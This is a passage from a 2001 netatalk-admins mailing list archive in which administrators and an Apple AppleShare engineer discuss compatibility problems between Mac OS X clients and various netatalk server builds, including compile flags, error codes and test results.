	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA02236
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 5 Apr 2001 08:45:27 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA20298
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 5 Apr 2001 08:45:27 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA20266
	for netatalk.administrators-members@umich.edu; Thu, 5 Apr 2001 08:45:27 -0400 (EDT)
Received: from mail.jamesltaylor.com (mail.jamesltaylor.com [205.232.131.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA20172
	for <Netatalk-Admins@umich.edu>; Thu, 5 Apr 2001 08:45:25 -0400 (EDT)
Received: from [205.232.131.4] (CAD.jamesltaylor.com [205.232.131.4])
	by mail.jamesltaylor.com (8.9.3/8.8.7) with ESMTP id JAA20125
	for <Netatalk-Admins@umich.edu>; Thu, 5 Apr 2001 09:39:32 -0400
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 05 Apr 2001 08:44:45 -0500
Subject: Re: Mac OS X and netatalk...
From: Vic Landi <vic@mail.jamesltaylor.com>
To: <Netatalk-Admins@umich.edu>
Message-ID: <B6F1E0FC.1FD2%vic@jamesltaylor.com>
In-Reply-To: <B6F17501.83DF%i@woj.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Also, seeing as Apple has failed to include any compatability with non-IP
appletalk in the current version of OSX, it may become beneficial to get
netatalk running on OSX.

Vic Landi

> From: Ian Wojtowicz <i@woj.com>
> Date: Thu, 05 Apr 2001 01:04:01 -0700
> To: <Netatalk-Admins@umich.edu>
> Subject: Re: Mac OS X and netatalk...
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Thu, 5 Apr 2001 04:14:20 -0400 (EDT)
> 
>> Does anybody know if Apple is interested in supporting anything other
>> the Mac OS X Server or Appleshare IP? It would be nice to know what
>> changes are going on in the client side, at least.
> 
> We need to lobby Apple to become involved in Netatalk development. Just like
> the Linux version of QuickTime Streaming Server, Apple needs to promote Mac
> connectivity on other platforms.
> 
> Use the Mac OS X feedback form to encourage Apple's involvement with
> Netatalk.
> 
> http://www.apple.com/macosx/feedback/
> 
> ___________________________________________________________________________
> ian wojtowicz                                                http://woj.com


From netatalk.administrators-errors@umich.edu  Thu Apr  5 09:49:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA03637
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 5 Apr 2001 09:49:58 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA28645
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 5 Apr 2001 09:49:50 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA28607
	for netatalk.administrators-members@umich.edu; Thu, 5 Apr 2001 09:49:49 -0400 (EDT)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA24983
	for <Netatalk-Admins@umich.edu>; Thu, 5 Apr 2001 09:49:48 -0400 (EDT)
Received: from math.ohio-state.edu (IDENT:postfix@hooloovoo.math.ohio-state.edu [128.146.111.37])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f35Dlre15862;
	Thu, 5 Apr 2001 09:47:53 -0400
Received: by math.ohio-state.edu (Postfix, from userid 2405)
	id EC080B9E5; Thu,  5 Apr 2001 09:47:52 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by math.ohio-state.edu (Postfix) with ESMTP
	id E496CB6F9; Thu,  5 Apr 2001 09:47:52 -0400 (EDT)
Date: Thu, 5 Apr 2001 09:47:52 -0400 (EDT)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
To: Vic Landi <vic@mail.jamesltaylor.com>
Cc: <Netatalk-Admins@umich.edu>
Subject: Re: Mac OS X and netatalk...
In-Reply-To: <B6F1E0FC.1FD2%vic@jamesltaylor.com>
Message-ID: <Pine.LNX.4.30.0104050944570.26103-100000@hooloovoo.math.ohio-state.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


I seem to remember someone having gotten it running on OSX Server at one
time, but I think it was IP only. I would assume if OSX had kernel support
for appletalk, then the finder would support it. I could be wrong, but...
If not, someone would have to hack together kernel support, which might
prove to be a bit of a challenge...

On Thu, 5 Apr 2001, Vic Landi wrote:

> Also, seeing as Apple has failed to include any compatability with non-IP
> appletalk in the current version of OSX, it may become beneficial to get
> netatalk running on OSX.

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Thu Apr  5 16:54:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA15218
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 5 Apr 2001 16:54:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA25773
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 5 Apr 2001 16:54:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA25749
	for netatalk.administrators-members@umich.edu; Thu, 5 Apr 2001 16:54:22 -0400 (EDT)
Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA25622
	for <Netatalk-Admins@umich.edu>; Thu, 5 Apr 2001 16:54:18 -0400 (EDT)
Received: from apple.com (A17-129-100-225.apple.com [17.129.100.225])
	by mail-out2.apple.com (8.9.3/8.9.3) with ESMTP id NAA09012
	for <Netatalk-Admins@umich.edu>; Thu, 5 Apr 2001 13:54:16 -0700 (PDT)
Received: from scv2.apple.com (scv2.apple.com) by apple.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T52bb218286118164e13a4@apple.com>;
 Thu, 5 Apr 2001 13:54:13 -0700
Received: from kingshammer (kingshammer.apple.com [17.221.40.220])
	by scv2.apple.com (8.9.3/8.9.3) with ESMTP id NAA13079;
	Thu, 5 Apr 2001 13:54:12 -0700 (PDT)
Message-Id: <200104052054.NAA13079@scv2.apple.com>
Date: Thu, 5 Apr 2001 13:53:58 -0700
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Mime-Version: 1.0 (Apple Message framework v400)
X-Mailer: Apple Mail (2.400)
Subject: Re: Mac OS X and netatalk...
Cc: Leland Wallace <randall@apple.com>,
        "'QUIGLEY,JASON (HP-Spain,ex1) '" <jason_quigley@hp.com>,
        "'Lorenzo Perone '" <lopez.on.the.lists@yellowspace.net>,
        "'Netatalk-Admins@umich.edu '" <Netatalk-Admins@umich.edu>
To: "Temple, Matthew H." <Matthew_Temple@dfci.harvard.edu>
From: Leland Wallace <randall@apple.com>
In-Reply-To: <8E741FCD9606D411AD1B00508B64502903DF22@phsexch16.mgh.harvard.edu>
Content-Transfer-Encoding: 7bit

Folks,
   No need to be cynical, Apple has been and will keep helping the 
netatalk
project. I and my engineers have been in communication with Adrian, and
other folks from the sourceforge effort. I have had no directives from my
management to the contrary. At least one of the problems with copying 
from
the Mac OS X client is related to the behavior of the CloseFork call. 
The other
is with advertising a 4Gig (maxint) buffer size in the options 
negotiation
(we fixed our end for GM).

One thing that you can be sure of, the Mac OS X client is a complete 
rewrite
and as such the patterns of calls will be different.

Hope this helps
Leland Wallace
AppleShare Client Lead

+-----------------------------------------------------------------------------------
Leland Wallace           Working in            AppleShare Engineering
randall@apple.com    but not speaking for     Apple Computer Inc.
http://www2.inow.com/~randall
+-----------------------------------------------------------------------------------


On Tuesday, April 3, 2001, at 06:52 PM, Temple, Matthew H. wrote:

> All,
>
> Once upon a time in a land far away,  Apple and Digital Equipment 
> actually
> worked together to port a genuine appletalk stack for VMS/Ultix/Dec 
> Unix.  I
> think
> Sun was in on this too.
> Unfortunately, after that product became Pacer software it  was bought 
> by a
> cannibal company and later destroyed.   CAP and Netatalk have done 
> quite well
> up to this point, but a little help/cooperation with/from Apple would 
> be handy.
> I suppose that since they've got their own Unix product right now, they
> probably won't be pushing hard to insinuate themselve into the netatalk 
> world.
> From their unwillingness to port to Intel, etc., you see how they 
> studiously
> avoid having a larger market share unless it just can't be avoided.
>
> 						mht
>
> -----Original Message-----
> From: QUIGLEY,JASON (HP-Spain,ex1)
> To: Lorenzo Perone
> Cc: Netatalk-Admins@umich.edu
> Sent: 4/3/01 7:23 PM
> Subject: Re: Mac OS X and netatalk...
>
> Hi Lorenzo!
>
> A little late perhaps, I have been rebuilding my work system and mail
> archives (Beta 2 trashed the hard disk type problems!!).
>
> Anyway, the option you should be trying is: -DUSE_FLOCK_LOCKS
>
> I tried this for myself but didn't get much joy. It's been mentioned
> that it's the client's fault or the server's fault but I've got my test
> system running with netatalk-1.4b2+asun2.1.3_1 - just barely. I'm
> getting the usual permissions crap with directories. Compiling the
> asun2.1.4 versions is broken under FreeBSD. The pre series on source
> forge is broken (compiles okay) with 10 - unexpected shutdowns. I'm
> going to try and run 2 sets of servers - the pre series for 9- machines
> and the one that barely works for 10+ machines binding to different
> addresses to see if this is a solution.
>
> I think the general impression that I get is that nobody really has a
> clue what's at fault and as the jocks on source forge don't really care
> too much about anything other Linux, those of us who like to run stable
> setups are in for a long wait for a resolution.
>
> Does anybody know if Apple is interested in supporting anything other
> the Mac OS X Server or Appleshare IP? It would be nice to know what
> changes are going on in the client side, at least.
>
> Sorry if I sound pissed off, but I have tried to compile, or have
> compiled (into the wee hours) every version of netatalk that I could get
>
> my hands on and every one has a different set of problems. I think the
> frustration is starting to get to me!!
>
> Cheers,
> Jason.
>

From netatalk.administrators-errors@umich.edu  Thu Apr  5 18:52:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA19549
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 5 Apr 2001 18:52:48 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA06535
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 5 Apr 2001 18:52:48 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA06507
	for netatalk.administrators-members@umich.edu; Thu, 5 Apr 2001 18:52:48 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145] (may be forged))
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id SAA06463
	for <Netatalk-Admins@umich.edu>; Thu, 5 Apr 2001 18:52:46 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000014956 for <Netatalk-Admins@umich.edu>; Fri, 06 Apr 2001 00:55:03 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net (Unverified)
Message-Id: <a04310101b6f2a0a3138d@[192.168.1.201]>
In-Reply-To: <200104032320.f33NKKn04492@vulcan.borgspace.alpha>
References: <200104032320.f33NKKn04492@vulcan.borgspace.alpha>
Date: Fri, 6 Apr 2001 00:52:45 +0200
To: Netatalk-Admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: Mac OS X and netatalk - (did you know... the chooser?)
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

Hi all,

Did you know that it is possible to mount volumes over the _Classic Chooser_ under OS X???

I mounted """succesfully""" netatalk shares running on 

SuSE Linux / Intel / 6.4 / netatalk-1.5pre3

then mounted volumes out of

SuSE Linux / Intel / 6.3 / netatalk-1.4.99-0.20001108 

and guess what, they were appearing correctly in the OS X finder!

Playing MP3s from the share on the SuSE Linux / Intel / 6.4 / netatalk-1.5pre3 box worked fine, but trying to copy ended in a -47 error.

When trying to copy some files from the 
SuSE Linux / Intel / 6.3 / netatalk-1.4.99-0.20001108  box, I got the kernel to panic:

panic(cpu 8): lockngr: locking against myself
backtrace: 0x0008c2f4 ..... (and more addresses)
....
kernel modules in backtrace: afpsf_fs(155)@0x8ec7000
Debugger(panic)

Waiting for remote debugger connection.

Options.... Type 
-----------------
continue.... “c “
reboot .... “r“

still have to try the -DUSE FLOCK LOCKS (tried -DFLOCKS), but thought this info could be interesting...  maybe someone else among you is luckier, and can work in the mean time  mounting the shares over Classic chooser (!”!).

Huh. I'll try my old mounting AppleScripts - who knows what's gonna happen? Maybe my OSX will start to fly...

;-!

Lorenzo


From netatalk.administrators-errors@umich.edu  Thu Apr  5 21:34:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA23515
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 5 Apr 2001 21:34:04 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA15054
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 5 Apr 2001 21:34:00 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA15037
	for netatalk.administrators-members@umich.edu; Thu, 5 Apr 2001 21:33:59 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id VAA14933
	for <Netatalk-Admins@umich.edu>; Thu, 5 Apr 2001 21:33:56 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000014970 for <Netatalk-Admins@umich.edu>; Fri, 06 Apr 2001 03:36:13 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net (Unverified)
Message-Id: <a04310101b6f187a6a215@[192.168.1.201]>
In-Reply-To: <200104032320.f33NKKn04492@vulcan.borgspace.alpha>
References: <200104032320.f33NKKn04492@vulcan.borgspace.alpha>
Date: Fri, 6 Apr 2001 03:33:55 +0200
To: Netatalk-Admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: Mac OS X and netatalk...
Content-Type: text/plain; charset="us-ascii"

Hi!

At 1:23 Uhr +0200 04.04.2001, QUIGLEY,JASON (HP-Spain,ex1 wrote:
>
>Anyway, the option you should be trying is: -DUSE_FLOCK_LOCKS

I just tried this one. Now I get to connect, but password verification fails with OSX as well as with OS9. Sounds like an old problem I had at the beginning with SuSE 6.x, that is, no shadow support? But I don't know where to adjust this in asun's 2.1.4 pre37 (no configure)... any hint for this one? ...


>I tried this for myself but didn't get much joy. It's been mentioned that it's the client's fault or the server's fault but I've got my test system running with netatalk-1.4b2+asun2.1.3_1 - just barely. I'm getting the usual permissions crap with directories. Compiling the asun2.1.4 versions is broken under FreeBSD. The pre series on source forge is broken (compiles okay) with 10 - unexpected shutdowns. I'm going to try and run 2 sets of servers - the pre series for 9- machines and the one that barely works for 10+ machines binding to different addresses to see if this is a solution.
>
>I think the general impression that I get is that nobody really has a clue what's at fault and as the jocks on source forge don't really care too much about anything other Linux, those of us who like to run stable setups are in for a long wait for a resolution.

Yes, this is annoying: on one hand it's true that it's free, so one should not complain, one should go DIY. We can just hope those who are working on it now will fix all the bugs..
or maybe _repackage_ the software in a way that works! I mean, if not a clean rpm, at least clean configuration and makefiles, with all docs that are needed.

I have also the impression that there must be some compiles that fail or don't fail depending which netatalk-devel you have on your system. That is, maybe using an older one (but not too old) could make a newer version work on a particular system....
just an assumption.... but I've got quite enough of making assumptions on netatalk ;-(

>Does anybody know if Apple is interested in supporting anything other the Mac OS X Server or Appleshare IP? It would be nice to know what changes are going on in the client side, at least.
>Sorry if I sound pissed off, but I have tried to compile, or have compiled (into the wee hours) every version of netatalk that I could get my hands on and every one has a different set of problems. I think the frustration is starting to get to me!!

.... it's very near here, too.... fortunately under OS9.1 I stil can see al my servers... netatalk is the only thing holding me back from working with OSX. I need those shares, and I need them from the Linux box....

:..-(

Lorenzo









>
>Cheers,
>Jason.
>
>On Saturday, March 31, 2001, at 10:47  am, Lorenzo Perone wrote:
>
>>Hi fellow neta-admins,
>>
>>I've been 'going down deep' into the OSX/netatalk adventure ;-)
>>
>>I've tried the -DFLOCKS (adding it to the DEFS line - correct?) thing and pre-asun2.1.4-38b_test.
>>No success, I get -43 and -37 errors _everywhere_  (uploading and downloading) - looks like an .AppleDouble problem? (thought they were related to resources, those errors).
>>But the same dirs used to work perfectly with pre3m (I'll check thisone out, anyway!).
>>
>>With pre-asun2.1.4-37b it got better:
>>Mounts OK, downloads and gives the -43 error only on some files.
>>But then, after throwing one copied folder to the trash, when trying to empty it, I get a message with 'not enough privileges to perform operation'.
>>Weird enough: I got into the terminal, su-rooted (with an enabled root account, via NetInfoManager).
>>This is what I got when I tried to rm the stuff in /Users/lopez/.Trash:
>>
>>override rwx------  lopez/staff for 6100's/Preferences/UMAX/VistaScan/Viewer Files/BRI4.JPG? y
>>rm: 6100's/Preferences/UMAX/VistaScan/Viewer Files/BRI4.JPG: Operation not permitted
>>
>>I tried to chmod 660 all the stuff in there:
>>
>>root# chmod -R 660 *
>>chmod: 6100's//Preferences/UMAX/VistaScan/Viewer Files/Y9.JPG: Operation not permitted
>>sort of weird! How can I get rid of that stuff now??
>>
>>it could well be that it's the names of that folder I tried with, which contain 'Preferences' and other strange mac chars. Anyway, an ls -la in the undeletable folder items gives:
>>
>>-rwx------    1 lopez  staff    6988 May 27  1998 Y5_4.JPG
>>-rwx------    1 lopez  staff    6940 May 27  1998 Y5_5.JPG
>>....
>>
>>After testing with other folders, things looked much better, but I still get
>>- unsufficient privileges
>>- an item with the name 'Icon' already exists
>>- some other errors
>>
>>but with other dirs I did not have the trashing-permission problem........
>>
>>....at least, I got to mount the volumes on Mac OS X 10.0.0, which I never got to work with netatalk 1.4.99 and sourceforge-successors.
>>I'd be glad if someone has a solution...... anyway, I'm sure as soon as rufustfirefly or asun or anybody else involved will get to reproduce the problems, they'll be solved.
>>Damned...... I'd really like to start using OSX now, despite it being some kind of  'Beta 2'.
>>I tried hard, with all versions of netatalk I could find. I'm not a C programmer, just a web developer, and sysadmin.
>>I compiled mostly on LinuxPPC (cause there I have our most important files).
>>
>>
>>:-(
>>
>>
>>
>>Allright, now I'll reboot into macos9, and since it worked so well with OS9, switch back to 1.5pre3........
>>
>>Lorenzo
>>
>>p.s.
>>
>>here's a list of my experiments....... if it can be useful to anybody, anyway. I mean, it can be a reference only to those that see matching experiences in at least 2 cases ;)
>>
>>=== 1.4b2+asun2.1.3: ===
>>
>>Same experience with the following OSes:
>>
>>SuSE Linux 6.3/Intel:
>>SuSE Linux 7.0/Intel
>>SuSE Linux 7.0/PPC
>>LinuxPPC 2000 Q4
>>
>>- distri standard;
>>- works with OS9, slow. resource, ownership, ID related problems on OS9;
>>- OSX client connects and mounts, but plenty of problems when opening / editing files;
>>
>>=== netatalk-pre-asun2.1.4-38b_test ===
>>
>>LinuxPPC 2000 Q4
>>
>>- works with OS9, FAST. seems OK on OS9, but I'd have to make more tests, no time now.
>>- OSX client connects and mounts, but -43 and -37 errors EVERYWHERE, also with files without resources or type/creators;
>>
>>=== netatalk-pre-asun2.1.4-37b===
>>
>>LinuxPPC 2000 Q4
>>
>>- OS9 not tested yet
>>- OSX client connects and mounts, but -43 and -37 errors when copying, but only on some files.
>>- When putting things of SOME folders to the trash (looks like folder name problems!), can't empty trash 'not enough privileges'
>>- otherwise _very fast_ on OSX, also on many folders and files!
>>
>>=== netatalk-1.4.99-0.20001108 ===
>>
>>SuSE Linux 6.3/Intel:
>>- works with OS9; fast. alias problems;
>>- OSX clients get disconnected immediately after share choice;
>>
>>LinuxPPC 2000 Q4:
>>- compiled but didn't work: disconnect upon file share choice with OS9.
>>
>>
>>=== netatalk-1.5pre3 ===
>>
>>SuSE Linux 6.3/Intel:
>>- works with OS9; fast. folder alias problems;
>>- OSX clients get disconnected immediately after share choice; slow sherlock name searches;
>>- best choice for me now (production).
>>
>>SuSE Linux 7.0/Intel
>>- works with OS9; fast. folder alias problems;
>>- OSX clients get disconnected immediately after share choice; slow sherlock name searches;
>>- best choice for me now (production).
>>
>>LinuxPPC 2000 Q4
>>- configure-related problems (setpgrp...), 'commented' out to get ahead.
>>- works with OS9; fast. folder alias problems; extremely slow sherlock name searches;
>>- OSX clients get disconnected immediately after share choice;
>>- best choice for me now (production).
>>
>>=== netatalk-1.5pre4 ===
>>
>>LinuxPPC 2000 Q4
>>- compiled but didn't work: disconnect upon file share choice with OS9 (same problem as with OSX).
>>
>>SuSE Linux 6.3/Intel:
>>- problems compiling
>>
>>=== netatalk-1.5pre5 ===
>>
>>LinuxPPC 2000 Q4
>>- configure-related problems (can not check if setpgrp is cross compiling...), 'commented' out some configure lines to get ahead.
>>- suspicious messages when making
>>- install problems: codepages not found? had to get them from an older /etc/atalk file
>>- after a few hours of work, when i came back and netatalk had crashed.
>>- switched back to pre3
>>
>>.....
>>
>>:-|
>>
>>p.p.s.
>>
>>I like thisone quite a bit. It' s just about almost everything:
>>
>>>========================================================
>>>
>>>"Always ask the question, never assume the answer."
>>>		Marcus Radich 1999
>>>
>>>========================================================
>>
>>assuming is a bad habit......
>>difficult to give up, in some cases, too......
>>(it always gives the illusion to be effective - especially in programming issues)
>>
>>;-)
>>
>>
>>Lorenzo
>>
>>
>>
>>At 12:09 Uhr +1200 29.03.2001, Marcus Radich wrote:
>>>OK, I originally found that asun2.1.3 was wicked for serving quark dox, but when I updated to 214, I started having file locking problems with quark (typical). Also seems to happen with codewarrior(noted by a friend).
>>>So after reading through asun's notes, I found a section which refers to the "old style" of byte locking. Adding the DEF= line and recompiling works perfectly. I have over 20 servers in production proving that!
>>>
>>>Go to: ftp://ftp.cobaltnet.com/pub/users/asun/testing/  if you need it.
>>>
>>>I'm currently running MacOS X 4L5 (10.0.1), which BTW is quite a bit snappier than 4K78 (10.0.0), and connecting to these servers shows no issues. Confirmed and tested!
>>>
>>>(Also, for those "Mac OS X is too slow" people. Get 10.0.1 when it comes out (soon), and get Plus for X. It allows you to change Genie to scale and other less-CPU-intensive things. Look on versiontracker for a link to this)
>>>
>>>I still use 1.4b2+asun214-37b because it works. I think I will start experimenting with 1.5 soon.
>>>
>>>mrad01
>>>
>>>
>>>At 12:08 PM -0500 28/3/2001, Steven Karel wrote:
>>>>1. Just wanted to concur with Marcus that netatalk-1.4b2+asun2.1.4-pre37b
>>>>works fine with the appleshare client in OS X 10.0,.whereas the public
>>>>beta failed horribly . Not all versions of netatalk are that well behaved,
>>>>however. I haven't tested exhaustively, but I do know that 37b works on at
>>>>least 4 of our servers (RH 6.2/RH 7.0). Also, the old version 1.4b2-2.1.3
>>>>seems to work as well.
>>>>
>>>>2. Setting -DUSE_FLOCK_LOCKS doesn't seem to be necessary for this
>>>>purpose, although it may help with file locking for other reasons. Marcus,
>>>>if you could be so kind, can you explain for us again what problems it
>>>>solves, and where exactly you recommend setting it? (I added
>>>>-DUSE_FLOCK_LOCKS in the sys/linux/Makefile DEFS= line)
>>>>
>>>>README.ASUN says:
>>>>
>>>>
>>>>	byte locks should now work. if you want to enable the old way
>>>>       of doing things, add -DUSE_FLOCK_LOCKS.
>>>>
>>>>
>>>>
>>>>thanks,
>>>>
>>>>stevne
>>>>
>>>>On Wed, 28
>>>>Mar 2001, Marcus Radich wrote:
>>>>
>>>>>
>>>>>BTW, netatalk 1.4b2+asun 214 -37b works very well with Mac OS X as
>>>>>long as you add the DEFS= -DFLOCKS thingy to the sys/Linux/Makefile
>>>>>before you compile. I haven't tried 1.5. You can only connect via IP
>>>>>(great!) and transferring files large and small has worked for me
>>>>>since 4K46
>>>>>
>>>>>mrad01
>>>>>
>>>
>>>
>>>
>>>--
>>>========================================================
>>>
>>>"Always ask the question, never assume the answer."
>>>		Marcus Radich 1999
>>>
>>>========================================================


From netatalk.administrators-errors@umich.edu  Thu Apr  5 21:38:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA23636
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 5 Apr 2001 21:38:42 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA25041
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 5 Apr 2001 21:38:41 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA25014
	for netatalk.administrators-members@umich.edu; Thu, 5 Apr 2001 21:38:41 -0400 (EDT)
Received: from mx.stanford-jc.or.jp (sirius.stanford-jc.or.jp [210.137.138.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA24958
	for <netatalk-admins@umich.edu>; Thu, 5 Apr 2001 21:38:39 -0400 (EDT)
Received: from pdc ([210.137.138.193])
	by mx.stanford-jc.or.jp (8.9.3/3.7W) with SMTP id KAA30040
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 10:38:38 +0900
Message-ID: <002501c0be3a$4d97aba0$c18a89d2@wad.stanfordjc.or.jp>
From: "Takashi Nakamura" <nakamura@stanford-jc.or.jp>
To: <netatalk-admins@umich.edu>
Subject: unsubscribe
Date: Fri, 6 Apr 2001 10:38:38 +0900
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400




From netatalk.administrators-errors@umich.edu  Thu Apr  5 23:57:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA27451
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 5 Apr 2001 23:57:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA25094
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 5 Apr 2001 23:57:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA25061
	for netatalk.administrators-members@umich.edu; Thu, 5 Apr 2001 23:57:54 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id XAA25029
	for <Netatalk-Admins@umich.edu>; Thu, 5 Apr 2001 23:57:53 -0400 (EDT)
Received: (qmail 13287 invoked by alias); 6 Apr 2001 03:58:01 -0000
Received: (qmail 13282 invoked by uid 0); 6 Apr 2001 03:58:01 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 6 Apr 2001 03:58:01 -0000
Subject: Re: Mac OS X and netatalk...
From: Matthew Keller <kellermg@potsdam.edu>
To: Netatalk-Admins@umich.edu
Cc: netatalk-devel@lists.sourceforge.net
In-Reply-To: <a04310101b6f187a6a215@[192.168.1.201]>
References: <200104032320.f33NKKn04492@vulcan.borgspace.alpha> 
	<a04310101b6f187a6a215@[192.168.1.201]>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.05.08.06 (Preview Release)
Date: 05 Apr 2001 23:57:51 -0400
Message-Id: <986529471.1737.2.camel@comp10574.potsdam.edu>
Mime-Version: 1.0

At 1:23 Uhr +0200 04.04.2001, QUIGLEY,JASON (HP-Spain,ex1 wrote:
> I think the general impression that I get is that nobody really has a 
> clue what's at fault and as the jocks on source forge don't really
> care too much about anything other Linux, those of us who like to 
> run stable setups are in for a long wait for a resolution.

Mr Quigley,

Perhaps you'd like to volunteer to help submit bugfixes. I don't see any
contributions by you at all, yet you have the gall to accuse the "jocks
on sourceforge" of anything? The "jocks on sourceforge" use whichever
machines they have and know. We've got people using Solaris, FreeBSD,
and Linux on 4 architectures that I know of working on the code- Some
people are working on MacOSX, HPUX and other platforms too. Instead of
contributing to the FUD and poo hooing those who are working to make
this product better, perhaps you can contribute. Don't give me any of
